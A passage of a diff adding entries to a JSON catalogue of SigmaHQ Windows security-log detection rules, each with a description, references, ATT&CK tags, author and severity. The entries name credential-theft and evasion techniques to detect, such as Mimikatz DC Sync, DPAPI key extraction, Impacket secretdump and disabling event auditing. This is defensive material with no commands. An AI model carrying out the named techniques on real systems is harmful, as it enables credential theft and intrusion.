"attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "win_security_apt_chafer_mar18_security.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", + "value": "Defrag Deactivation", + "meta": { + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.s0111" + ], + "creation_date": "2019/03/04", + "filename": "win_security_apt_slingshot.yml", + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", + "value": "Operation Wocao Activity", + "meta": { + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "win_security_apt_wocao.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", + "value": "Remote Task Creation via ATSVC Named Pipe", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_atsvc_task.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", + "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", + "value": "Processes Accessing the Microphone and Webcam", + "meta": { + "refs": [ + "https://twitter.com/duzvik/status/1269671601852813320", + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2020/06/07", + "filename": "win_security_camera_microphone_access.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", + "value": "CobaltStrike Service Installations", + "meta": { + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/26", + "filename": "win_security_cobaltstrike_service_installs.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", + "value": "DCERPC SMB Spoolss Named Pipe", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2018/11/28", + "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", + "author": "OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Domain Controllers acting as printer servers too? :)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", + "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ], + "creation_date": "2020/10/12", + "filename": "win_security_dcom_iertutil_dll_hijack.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Mimikatz DC sync security events", + "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", + "value": "Mimikatz DC Sync", + "meta": { + "refs": [ + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0002", + "attack.t1003.006" + ], + "creation_date": "2018/06/03", + "filename": "win_security_dcsync.yml", + "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", + "level": "high", + "falsepositive": [ + "Valid DC Sync that is not covered by the filters; please report", + "Local Domain Admin account used for Azure AD Connect" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", + "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", + "value": "Windows Defender Exclusion Set", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/10/26", + "filename": "win_security_defender_bypass.yml", + "author": "@BarryShooshooga", + "level": "high", + "falsepositive": [ + "Intended inclusions by administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects an installation of a device that is forbidden by the system policy", + "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", + "value": "Device Installation Blocked", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_device_installation_blocked.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", + "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", + "value": "DiagTrackEoP Default Login Username", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/08/03", + "filename": "win_security_diagtrack_eop_default_login_username.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", + "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", + "value": "Disabling Windows Event Auditing", + "meta": { + "refs": [ + "https://bit.ly/WinLogsZero2Hero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2017/11/19", + "filename": "win_security_disable_event_logging.yml", + "author": "@neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", + "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", + "value": "DPAPI Domain Backup Key Extraction", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ], + "creation_date": "2019/06/20", + "filename": "win_security_dpapi_domain_backupkey_extraction.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", + "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", + "value": "DPAPI Domain Master Key Backup Attempt", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ], + "creation_date": "2019/08/10", + "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", + "value": "COMPlus_ETWEnabled Registry Modification", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/05", + "filename": "win_security_etw_modification.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Checks for event id 1102 which indicates the security event log was cleared.", + "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", + "value": "Security Event Log Cleared", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" + ], + "tags": [ + "attack.t1070.001" + ], + "creation_date": "2021/08/15", + "filename": "win_security_event_log_cleared.yml", + "author": "Saw Winn Naung", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", + "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", + "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access", + "meta": { + "refs": [ + "https://twitter.com/INIT_3/status/1410662463641731075", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/07/02", + "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", + "author": "INIT_6", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", + "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", + "value": "External Disk Drive Or USB Storage Device", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" + ], + "tags": [ + "attack.t1091", + "attack.t1200", + "attack.lateral_movement", + "attack.initial_access" + ], + "creation_date": "2019/11/20", + "filename": "win_security_external_device.yml", + "author": "Keith Wright", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", + "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", + "value": "Enumeration via the Global Catalog", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2020/05/11", + "filename": "win_security_global_catalog_enumeration.yml", + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "medium", + "falsepositive": [ + "Exclude known DCs." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", + "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", + "value": "Persistence and Execution at Scale via GPO Scheduled Task", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1106899890377052160", + "https://www.secureworks.com/blog/ransomware-as-a-distraction", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1053.005" + ], + "creation_date": "2019/04/03", + "filename": "win_security_gpo_scheduledtasks.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", + "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", + "value": "Hidden Local User Creation", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1387743867663958021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2021/05/03", + "filename": "win_security_hidden_user_creation.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the Hybrid Connection Manager service installation.", + "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", + "value": "HybridConnectionManager Service Installation", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "win_security_hybridconnectionmgr_svc_installation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Impacket's psexec.py.", + "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", + "value": "Impacket PsExec Execution", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/12/14", + "filename": "win_security_impacket_psexec.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL", + "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", + "value": "Possible Impacket SecretDump Remote Activity", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ], + "creation_date": "2019/04/03", + "filename": "win_security_impacket_secretdump.yml", + "author": "Samir Bousseaden, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_security_invoke_obfuscation_clip_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/11/08", + "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_security_invoke_obfuscation_var_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7a922f1b-2635-4d6c-91ef-af228b198ad3", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the mount of ISO images on an endpoint", + "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", + "value": "ISO Image Mount", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://twitter.com/MsftSecIntel/status/1257324139515269121", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2021/05/29", + "filename": "win_security_iso_mount.yml", + "author": "Syed Hasan (@syedhasan009)", + "level": "medium", + "falsepositive": [ + "Software installation ISO files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + "uuid": 